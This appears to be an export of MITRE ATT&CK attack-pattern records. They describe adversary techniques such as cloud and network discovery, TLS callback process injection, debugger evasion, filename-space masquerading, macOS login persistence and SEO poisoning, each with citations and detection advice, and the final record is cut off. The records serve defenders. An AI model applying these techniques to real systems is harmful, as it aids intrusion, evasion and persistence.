attack-pattern | attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T00:56:25.135000Z" | "2024-01-31T20:05:44.075000Z" | Server | Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.
Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1584.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/004"
},
{
"description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.",
"external_id": null,
"source_name": "TrendMicro EarthLusca 2022",
"url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
},
{
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Koczwara Beacon Hunting Sep 2021",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Mandiant SCANdalous Jul 2020",
"url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-08-30T13:01:10.120000Z" | "2023-05-04T18:01:44.086000Z" | Cloud Service Discovery | An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.
Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)
For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)
Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1526",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1526"
},
{
"description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.",
"external_id": null,
"source_name": "Azure AD Graph API",
"url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"
},
{
"description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.",
"external_id": null,
"source_name": "Azure - Resource Manager API",
"url": "https://docs.microsoft.com/en-us/rest/api/resources/"
},
{
"description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.",
"external_id": null,
"source_name": "Azure - Stormspotter",
"url": "https://github.com/Azure/Stormspotter"
},
{
"description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
"external_id": null,
"source_name": "GitHub Pacu",
"url": "https://github.com/RhinoSecurityLabs/pacu"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:28.187000Z" | "2023-08-14T19:08:59.741000Z" | Remote System Discovery | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).
Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.
Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1018",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1018"
},
{
"description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "CISA AR21-126A FIVEHANDS May 2021",
"url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
},
{
"description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.",
"external_id": null,
"source_name": "Elastic - Koadiac Detection with EQL",
"url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 3.5 |
attack-pattern | attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:43.915000Z" | "2023-08-11T21:10:09.547000Z" | Network Service Discovery | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1046",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1046"
},
{
"description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.",
"external_id": null,
"source_name": "apple doco bonjour description",
"url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"
},
{
"description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "CISA AR21-126A FIVEHANDS May 2021",
"url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
},
{
"description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.",
"external_id": null,
"source_name": "macOS APT Activity Bradley",
"url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers",
"Network"
] | 3.1 |
attack-pattern | attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:46:24.670000Z" | "2022-10-21T14:32:05.257000Z" | Domain Properties | Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590/001"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Azure Active Directory Reconnaisance",
"url": "https://o365blog.com/post/just-looking/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.",
"external_id": null,
"source_name": "Office 265 Azure Domain Availability",
"url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"
},
{
"description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "WHOIS",
"url": "https://www.whois.net/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-09-16T17:52:44.147000Z" | "2024-04-16T00:16:06.689000Z" | Software Discovery | Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.
Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1518",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1518"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS"
] | 1.4 |
attack-pattern | attack-pattern--e49920b0-6c54-40c1-9571-73723653205f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-08-30T18:11:24.582000Z" | "2024-04-19T04:25:33.300000Z" | Cloud Service Dashboard | An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1538",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1538"
},
{
"description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.",
"external_id": null,
"source_name": "AWS Console Sign-in Events",
"url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
},
{
"description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Google Command Center Dashboard",
"url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Azure AD",
"Office 365",
"IaaS",
"Google Workspace",
"SaaS"
] | 1.3 |
attack-pattern | attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:30:41.092000Z" | "2021-10-18T12:24:54.198000Z" | Thread Local Storage | Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.
TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/005"
},
{
"description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
"external_id": null,
"source_name": "FireEye TLS Nov 2017",
"url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-04-01T17:59:46.156000Z" | "2022-04-16T15:05:55.918000Z" | Debugger Evasion | Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)
Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.
Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)
Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1622",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1622"
},
{
"description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.",
"external_id": null,
"source_name": "Checkpoint Dridex Jan 2021",
"url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
},
{
"description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "hasherezade debug",
"url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf"
},
{
"description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "AlKhaser Debug",
"url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug"
},
{
"description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
"external_id": null,
"source_name": "wardle evilquest partii",
"url": "https://objective-see.com/blog/blog_0x60.html"
},
{
"description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.",
"external_id": null,
"source_name": "ProcessHacker Github",
"url": "https://github.com/processhacker/processhacker"
},
{
"description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "vxunderground debug",
"url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.
Monitor debugger logs for signs of abnormal and potentially malicious activity. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-10T20:47:10.082000Z" | "2023-03-30T21:01:52.873000Z" | Space after Filename | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/006"
},
{
"description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
"external_id": null,
"source_name": "Mac Backdoors are back",
"url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T18:15:06.641000Z" | "2022-04-19T23:46:56.443000Z" | Re-opened Applications | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/007"
},
{
"description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
"external_id": null,
"source_name": "Re-Open windows on Mac",
"url": "https://support.apple.com/en-us/HT204005"
},
{
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Methods of Mac Malware Persistence",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
"external_id": null,
"source_name": "Wardle Persistence Chapter",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-30T21:14:12.284000Z" | "2023-03-13T20:35:52.302000Z" | SEO Poisoning | Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)
To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)
